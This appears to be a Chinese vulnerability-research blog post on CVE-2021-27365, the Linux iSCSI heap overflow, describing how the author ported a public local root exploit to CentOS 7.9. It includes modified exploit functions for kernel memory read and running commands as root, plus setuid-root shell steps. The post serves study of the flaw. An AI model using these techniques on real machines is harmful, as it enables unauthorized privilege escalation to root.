作者:维阵漏洞研究员—km1ng
一、漏洞简介
1.1 Linux Kernel Heap Buffer Overflow
2021年三月,Linux内核5.11.3发布版本发现了一个名为Linux Kernel Heap Buffer Overflow的漏洞,CVE编号为2021-27365。
1.2 关于SCSI
本文中涉及的子系统为SCSI(Small Computer System Interface,小型计算机系统接口)数据传输系统,它是为连接计算机与外围设备而制定的数据传输标准。SCSI是一个古老的标准,最初发布于1986年,并且是服务器设置的首选标准,而iSCSI基本上就是基于TCP的SCSI。实际上,SCSI至今仍在使用,特别是当我们要与某些存储设备打交道的时候,主要作用为TCP/IP网络上传送SCSI命令来提供对存储设备的块级访问。尽管该漏洞最近才被发现,但该漏洞自2006年以来一直存在,当时它在iSCSI子系统的开发过程中首次被引入。
1.3 iSCSI堆溢出
CVE-2021-27365是iSCSI子系统中的堆缓存溢出漏洞。通过设置iSCSI string属性为大于1页的值,然后读取该值就可以触发该漏洞。
具体来说,用户可以通过drivers/scsi/libiscsi.c中的helper函数发送netlink消息到iSCSI子系统(drivers/scsi/scsi_transport_iscsi.c),该子系统负责设置于iSCSI连接相关的属性,比如hostname、username等。这些属性值的大小是由netlink消息的最大长度来限制的。由于堆溢出漏洞不确定性的本质,该漏洞可以用作不可靠的本地DoS。在融合了信息泄露漏洞后,该漏洞可以进一步用于本地权限提升,即攻击者利用该漏洞可以从非特权的用户账户提升权限到root。
二、影响范围
CVSS 3 基础分数:7.8
2.1、 影响版本
Linux 内核版本 < 5.11.4
Linux 内核版本 < 5.10.21
Linux 内核版本 < 5.4.103
Linux 内核版本 < 4.19.179
Linux 内核版本 < 4.14.224
Linux 内核版本 < 4.9.260
Linux 内核版本 < 4.4.260
及其他所有加载scsi_transport_iscsi内核模块的Linux发行版。
2.2、 安全版本
Linux 内核版本 >= 5.11.4
Linux 内核版本 >= 5.10.21
Linux 内核版本 >= 5.4.103
Linux 内核版本 >= 4.19.179
Linux 内核版本 >= 4.14.224
Linux 内核版本 >= 4.9.260
Linux 内核版本 >= 4.4.260
对于3.x和2.6.23等低版本号不会发布补丁,但是根据不同的发型版本也是会有补丁包更新。
三、实验环境
四、环境搭建
4.1 使用understand对linux源码进行分析
linux源码下载链接:
https://vault.centos.org/7.9.2009/os/Source/SPackages/kernel-3.10.0-1160.el7.src.rpm
将kernel-3.10.0-1160.el7.src.rpm解压,会在解压目录下看到kernel-kabi-dw-1160.tar.bz2,再次解压最终得到linux-3.10.0-1160.el7目录。
使用understand打开分析linux源码,按照如下图流程即可。
等待完成分析。
4.2 搭建调试环境
# Centos7.9
yum install -y kernel-devel
sudo vim /etc/yum.repos.d/CentOS-Debuginfo.repo
里面的enable字段修改为enable=1
sudo debuginfo-install kernel
vi /boot/grub2/grub.cfg
vi /etc/grub2.cfg
执行上面命令,找到如下图所示menuentry 中的linux所在的行,在quiet后追加下面的一行
kgdbwait kgdb8250=io,03f8,ttyS0,115200,4 kgdboc=ttyS0,115200 kgdbcon nokaslr
上面的ttyS0是有可能改变的,如有打印机等请移除。
VmWare Centos添加串口:
VmWare Ubuntu添加串口:
拷贝centos中的vmlinux到ubuntu(调试机),下面是本文章vmlinux所在的绝对路径。
/usr/lib/debug/lib/modules/3.10.0-1160.el7.x86_64/vmlinux
重新启动Centos,会发现centos如下图所示:
ubuntu执行如下命令:
sudo stty -F /dev/ttyS0 115200
sudo stty -F /dev/ttyS0
vi ~/.gdbinit
target remote /dev/ttyS0
file vmlinux
dir linux-3.10.0-1160.el7
gdb
五、 Centos8测试Exploit
下载链接:
https://github.com/grimm-co/NotQuite0DayFriday/tree/trunk/2021.03.12-linux-iscsi
进入utilities目录,使用root权限执行get_symbols.sh。
退出utilities目录,使用vi打开symbols.c文件,添加运行get_symbols.sh输出的信息,如下图所示。
使用make命令,编译exploit。
运行exploit程序,确认Centos8完成提权。
六、Centos7.9漏洞适配
6.0 遇到的问题
在Centos7.9中遇到几个主要问题:
1、获取不到SEQ_BUF_PUTMEM和SEQ_BUF_TO_USER:
a)通过寻找替代SEQ_BUF_TO_USER的函数,执行任意地址写
b)舍弃SEQ_BUF_PUTMEM造成的任意地址写,改为执行run_cmd函数,以root权限执行脚本
2、获取内核基地址失败
更改偏移将之前泄露的内核函数地址更改为其他内核的函数地址,计算内核基地址
3、读取iscsi句柄
创建生成iscsai模块会可以得到一个内核地址,去取这个地址的内容用以确认漏洞分配。这个需要配合上面的任意地址读在加一个偏移变量完成。
4、多次利用提权
这个exploit只能运行一次,通过保存环境,绕过二次运行需要读取系统文件导致崩溃的步骤,直接发送iscsi消息,运行run_cmd函数。
6.1 Get Symbols
以root权限运行utilities/get_symbols.sh,用以获取符号表。
如上图所示,SEQ_BUF_PUTMEM和SEQ_BUF_TO_USER没有被找到。
先将这些信息填写进symbols.c文件。
如上图所示将符号地址信息填入,因为SEQ_BUF_PUTMEM和SEQ_BUF_TO_USER符号并未找到所以暂时先填入MEMCPY处的地址。
make尝试运行:
6.2 Gets the kernel base address
上面一直报错“Failed to detect kernel slide”,grep搜索一下。
使用vi打开exploit.c定位到328行,如下图所示,看名称大概率是设置获取内核基地址的。
然后查了一下资料,如下图所示。
当时是直接赋值0xffffffff81000000,做到后期发现Centos7.9是支持Kaslr的,现在在文章中为了连贯性就直接在这解决了。
查看get_kernel_slide函数,参数都是在上面定义的,进入get_kernel_slide函数查看。
可以看到上图get_kernel_slide函数主要功能是设置发送ISCSI_HOST_PARAM_INITIATOR_NAME的消息,其中一些字段是可以自己设置的。
再去查看上图中iscsi_get_file函数是做什么的。如下图所示打开/sys/class/iscsi_host/host%d/initiatorname文件,目前尚未得知这个文件是做什么去读取什么数据。
去查看/sys/class/iscsi_host/目录,可以看到有几个host后跟着一个数字的目录,随便进去一个查看initiatorname文件。
等等这个656是不是在哪里见过,打开leak.c文件。
在回头来看get_kernel_slide函数是不是清晰了很多。
发送的ISCSI_UEVENT_SET_HOST_PARAM消息会将nlh+sizeof(*nlh)+sizeof(struct iscsi_uevent)的数据写入对应host目录的initiatorname文件中。
在understand中搜索ISCSI_UEVENT_SET_HOST_PARAM可以看到如下图所示。
这里就不对这个函数进行分析了。
get_kernel_slide函数发送ISCSI_UEVENT_SET_HOST_PARAM类型的消息,自己进行消息的填充,内核将发送的数据写入initiatorname文件,然后读取一个偏移的数据。
继续看下面,返回的slide是读取的leaked_kernel_function-NETLINK_SOCK_DESTRUCT,这个NETLINK_SOCK_DESTRUCT又是什么。
继续展开搜索。
我们发现了NETLINK_SOCK_DESTRUCT就是我们之前收集的符号信息中的一个,现在推测读取的数据为内核中的NETLINK_SOCK_DESTRUCT地址。
现在去Centos8上去验证一下。
读取的值为0xb974dc90,打开symbols.c文件。
现在验证了我们的想法是正确的,去Centos7.9打印leaked_kernel_function。
由上图可以得出是读取的数据出现了异常,现在使用gdb调试get_kernel_slide函数。
尝试更改NUM_EXTRA_BYTES的大小查看结果是否会改变,经过最终测试,发现620可以比较稳定的泄露一个内核的地址。现在将NUM_EXTRA_BYTES更改为620再次使用gdb调试。
因为并不是每次都能获取到内核地址,所以简单写一下gdb脚本如下:
gdb ./exploit -command=gcc_script
b *0x4011b8
r
x /30x $rsi+620
如上图所示,成功获取到内核的地址,只不过现在获取的是inet_sock_destruct的地址。
现在将inet_sock_destruct的地址填入NETLINK_SOCK_DESTRUCT地址处。
NUM_EXTRA_BYTES需要在加4将内核地址的低地址取出来。
现在已经能正常获取到内核基地址了。
重启机器,之前运行多次exploit对,机器环境有影响。
注意symbols.c中的是没有加偏移的地址。
Centos7.9中的inet_sock_destruct地址为0xffffffff816dd340UL,上面更改为0x9f0dd340只是为了测试。
现在为了方便调试关闭Centos7.9的kaslr,最后的成品是支持Kaslr的。
cat /proc/kallsyms > kallsyms.txt
在kallsyms.txt找到startup_64一行,如果首列值为ffffffff81000000,则基本确定KASLR关闭,否则开启。
修改/etc/default/grub文件,找到GRUB_CMDLINE_LINUX,默认上述行中会有quiet选项,在其后添加nokaslr选项。
grub2-mkconfig -o /boot/grub2/grub.cfg
6.3 Arbitrary address read
这时候在执行就会遇到Allocating controlled objects for R/W然后gdb就断在了内核,如上图所示需要重新启动一下。
如上图所示看是否能执行到打印”Failed to overwrite iscsi_transport struct (read 0x0)”,才是正常的执行流程。
如上图所示在exploit.c中的do_arbitrary_read函数,里面有参数handle,在下面进行进行tmp != handle+MODULE_INFO_DIFF。目前已知道handle的值为0xffffffffc09bb060,在symbols.c中也能找到MODULE_INFO_DIFF的定义(MODULE_INFO_DIFF=0x340)。
进入do_arbitrary_read函数查看里面做了什么。
如上图所示是设置发送了ISCSI_UEVENT_PING类型的消息。在最后的memcpy中将user_buffer中的值拷贝至data(data==&tmp)中,在根据user_buffer得出ev->u.iscsi_ping是可以控制的值,user_buffer是申请的缓冲区,在ISCSI_UEVENT_PING消息处理的时候进行了赋值。
问题是发送ISCSI_UEVENT_PING怎么就可以获取数据了?
打开understand,搜索ISCSI_UEVENT_PING消息处理是怎么进行的。
如上图所示,ev->u确实是可以进行控制的,但是要注意参数是有限制的并不是传递任意值都可比如uint32_t是会进行截断等,这里就不进行一一讲解了。
搜索到send_ping就无法再度深入了,然后在gdb下断点的时候是下不到这里的,接着在exploit.c中发现如下图所示。
send_ping被赋值为 SEQ_BUF_TO_USER也是在symbols.c中,下面两个相同的值是Centos7.9获取不到对应的值填写的。
尝试grep搜索符号和在understand中搜索,发现3.10没有这两个函数。
上图函数所在链接:
https://elixir.bootlin.com/linux/v4.0/source/lib/seq_buf.c
这两个函数非常简单,目前先看seq_buf_to_user,根据send_ping传递的参数和seq_buf_to_user接受的参数和copy_to_user,是将内核的地址拷贝到申请的缓冲区中。
验证想法,更改SEQ_BUF_TO_USER的值,然后在gdb中下这个断点,如下图所示,下断点的时候最好下硬件断点,断点下在big_key_read。
rdi为可控的指针,rsi为8。这个函数的参数是有校验的,不能传递任意值,这里不针对如何校验的进行分析。
已经成功验证了SEQ_BUF_TO_USER为可控的,需要在内核中找一个替代的函数,长时间搜索后,最终找到了big_key_read 函数,直接将地址填写过去是不行的,还需要更改do_arbitrary_read函数。
void do_arbitrary_read(uint64_t handle, uint64_t hostno, int sock_fd, uint64_t address, void * data, size_t len) {
struct nlmsghdr nlh = NULL;
struct iscsi_uevent ev;
char * buffer;
int msg_length;
static uint64_t user_buffer = 0;
static uint64_t sb[24]={0x1234567887654321,0x1472580036925800,0x1234567887654321,0x1234567887654321,
0x1111111111111111,0x2222222222222222,0x2222222222222222,0x3333333333333333,
0x4444444444444444,0x5555555555555555,0x6666666666666666,0x7777777777777777,
0x1111111111111111,0x2222222222222222,0x3333333333333333,0x4444444444444444,
0x5555555555555555,0x6666666666666666,0x6,0x8,
0x1234567812345678,0x3333333333333333,0x4444444444444444,0x5555555555555555
};
sb[20]=address;
void * tmp;
printf(“==========user_buffer==================\n”);
set_shost(handle, hostno, sock_fd, &sb, sizeof(sb));
//Map the buffer in userland that we’re going to read kernel memory to. Because of the parameter
if(user_buffer == 0) { //sizes to the ping message below, it must be a buffer at a 32-bit address
tmp = mmap((void )0x78770000, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0);
if(tmp == MAP_FAILED || tmp != (void )0x78770000) {
printf(“Could not map memory at 0x77770000 for arbitrary read\n”);
printf(“Arbitrary read failed; sleeping forever to avoid corruption\n”);
SLEEP_FOREVER();
}
user_buffer = (uint64_t)tmp;
}
//Setup the message
buffer = (void )(nlh = (struct nlmsghdr )malloc(NLMSG_LENGTH(MSG_SIZE)));
msg_length = sizeof(struct iscsi_uevent);
memset(nlh, 0, NLMSG_LENGTH(msg_length));
nlh->nlmsg_len = 0x100;
// nlh->nlmsg_len = NLMSG_LENGTH(msg_length);
nlh->nlmsg_type = ISCSI_UEVENT_PING;
//Setup the send_ping header
ev = (struct iscsi_uevent *)NLMSG_DATA(nlh);
ev->type = ISCSI_UEVENT_PING;
ev->iferror = 0;
ev->transport_handle = handle;
ev->u.iscsi_ping.host_no = hostno;
ev->u.iscsi_ping.iface_num = user_buffer;
ev->u.iscsi_ping.iface_type=user_buffer;
ev->u.iscsi_ping.payload_size=0x66;
//Send the ping message to trigger the seq_buf_to_user call
send_netlink_msg(sock_fd, nlh);
read_response(sock_fd, nlh);
free(buffer);
//Copy the memory that was written to the userland buffer into the requested buffer
memcpy(data, (void *)user_buffer, len);
printf(“=====================user_buffer=%x\n”,user_buffer);
printf(“==================read wirte===================== \n”);
}
注意不要忘记更改SEQ_BUF_TO_USER(0xffffffff81301e40UL),再次下断点。
再查看big_key_read 函数。
上面的do_arbitrary_read可以运行到copy_to_user 并退出无异常。寻找这个函数的时候还有其他函数,但是有一些莫名的线程崩溃/内核优化使用不该使用的寄存器等等。
最重要的是看一下读取的是什么内容,在gdb中直接查看。
这是一个非常接近的数字,在回去看exploit.c下面还有一个比较。
还记得MODULE_INFO_DIFF是0x340,但是这里的只有0x300更改MODULE_INFO_DIFF为0x300,在判断后面添加打印代码并退出。
如上图所示成功运行,并且打印出来,成功替换了任意地址读取。当然也可以尝试替换其他的函数。
6.4 Write any address to command execution
接下来的流程就是调用cleanup,最终调用到do_arbitrary_write,如下图所示。
和上面替换do_arbitrary_read一样,这次需要将找一个可以造成任意地址写的函数,可以从如下五方面入手:
1、memcpy
2、copy_from_user
3、strncpy
4、指针赋值等
5、iscsi的其他函数调用
还是先看do_arbitrary_write函数。
如上图所示是发送ISCSI_UEVENT_SET_CHAP消息,在SET_OFFSET处SEQ_BUF_PUTMEM为造成任意地址写。
在内核中寻找任意地址写的函数时,也是有参数的限制,包括截断、大小等,再通过更改发送消息的类型不断调整参数,在iscsi_if_recv_msg消息处理的下面这些很多可以使用的函数。
最终测试发送还是需要通过指针方式进行,第一个参数的类型,不能覆盖过大,比如0x1000就会有问题。
最后想的办法是通过更改消息类型,直接用调用run_cmd完成提权,这一步如上图所示有不少函数都可以完成,更改类型加参数设置即可。
为了不对环境进行更多的影响,在下面完成任意地址读,确认可以读取到这个地址后,直接进行调用run_cmd参数,如下图所示。
void run_command(uint64_t handle, uint64_t hostno, int sock_fd, uint64_t address, void * data, size_t len) {
struct nlmsghdr *nlh = NULL;
struct iscsi_uevent * ev;
char * buffer;
struct seq_buf sb;
int msg_length;
//Copy the seq_buf over the Scsi_Host
memset(&sb, 0, sizeof(sb));
sb.buffer = (char *)address;
sb.size = 0x1000;
sb.len = 0;
sb.readpos = 0;
static uint64_t sbb[3]={0x732e612f706d742f,0x0000000000000068,0x1};
set_shost(handle, hostno, sock_fd, &sbb, sizeof(sbb));
//Setup the message
buffer = (void *)(nlh = (struct nlmsghdr *)malloc(NLMSG_LENGTH(MSG_SIZE + len)));
msg_length = sizeof(struct iscsi_uevent) + len;
memset(nlh, 0, NLMSG_LENGTH(msg_length));
nlh->nlmsg_len = NLMSG_LENGTH(msg_length);
nlh->nlmsg_type = ISCSI_UEVENT_SET_CHAP;
//Setup the set_chap header
ev = (struct iscsi_uevent *)NLMSG_DATA(nlh);
ev->type = ISCSI_UEVENT_SET_CHAP;
ev->iferror = 0;
ev->transport_handle = handle;
ev->u.set_path.host_no = hostno;
memcpy((((void *)ev) + sizeof(struct iscsi_uevent)), data, len);
//Send the set_chap message to trigger the seq_buf_putmem call
send_netlink_msg(sock_fd, nlh);
read_response(sock_fd, nlh);
free(buffer);
printf("do_arbitrary_read_a ISCSI_UEVENT_SET_CHAP ");
}
做如上图所示更改,还需要将a.sh放入/tmp目录下,给可执行权限,就可以进行写的时候直接调用run_cmd执行命令,如下图所示,依然创建proof。
上述更改只能使exploit运行一次,运行第二次的时候就会崩溃。
6.5 Run twice
第一次运行后使用ipcs-q查看消息队列,发现有很多消息,如下图所示。
莫非是这些消息导致的崩溃,使用ipcrm -a清理所有消息,果然Centos卡死。
但是发送消息第一次运行没有问题,第二次运行出了问题,不好定位消息那里出了错,所以在exploit中使用sleep和printf打印是在那里造成崩溃,最后定位到iscsi_get_file函数在访问对应host的initiatorname出了问题。
在第一次成功运行后,尝试直接去访问这个文件。
现在可以确认是访问这个文件造成了系统崩溃。
查ISCSI的资料,尝试删除或卸载去绕过这里读文件,每种方法都会去访问到initiatorname文件造成崩溃。
最后是使用的保存上一次利用的环境信息,在后面利用时复用,sock_fd、hostno都可以生成获取,handle可以保存。
做这样更改就可以运行多次,直到系统重启继续运行。
6.6 root shell (提权成功)
上面都是以root权限去运行/tmp/a.sh文件,这里直接获取root shell。
在a.sh在添加如下命令:
chown root:root /tmp/getshell
chmod +x /tmp/getshell
chmod u+s /tmp/getshell
getshell.c:
在exploit.c中添加运行/tmp/getshell即可完成获取root shell,如下图所示。
确认多次运行也不会出现问题,还原虚拟机运行kaslr也不会出现问题。
这种利用方式通过更改symbols.c里面的地址信息,可以很快适配到其他型号比如Centos7.8。
七、缓解措施
八、总结
这个漏洞非常的难以调试,并且双机调试有些慢,有时候虚拟机卡死需要虚拟机中安装虚拟机或者重启物理机,并且有时候漏洞能触发有时不能触发,还需要对内核有一点了解,更多的还是耐心。更改别人代码的时候,需要有自己的思考,如果将利用代码写的更加完善或者说环境不同寻找其他利用方式。上面简要重点说明了调试此漏洞遇到的一些问题以及解决方法。这个漏洞利用需要rdma-core这个软件包,在Centos7.9带GUI的桌面是默认安装的。
九、视频演示
https://www.bilibili.com/video/BV1Ch411H74w/
参考链接:
https://blog.grimm-co.com/2021/03/new-old-bugs-in-linux-kernel.html
https://www.4hou.com/index.php/shop/posts/rBqL
还没有评论,来说两句吧...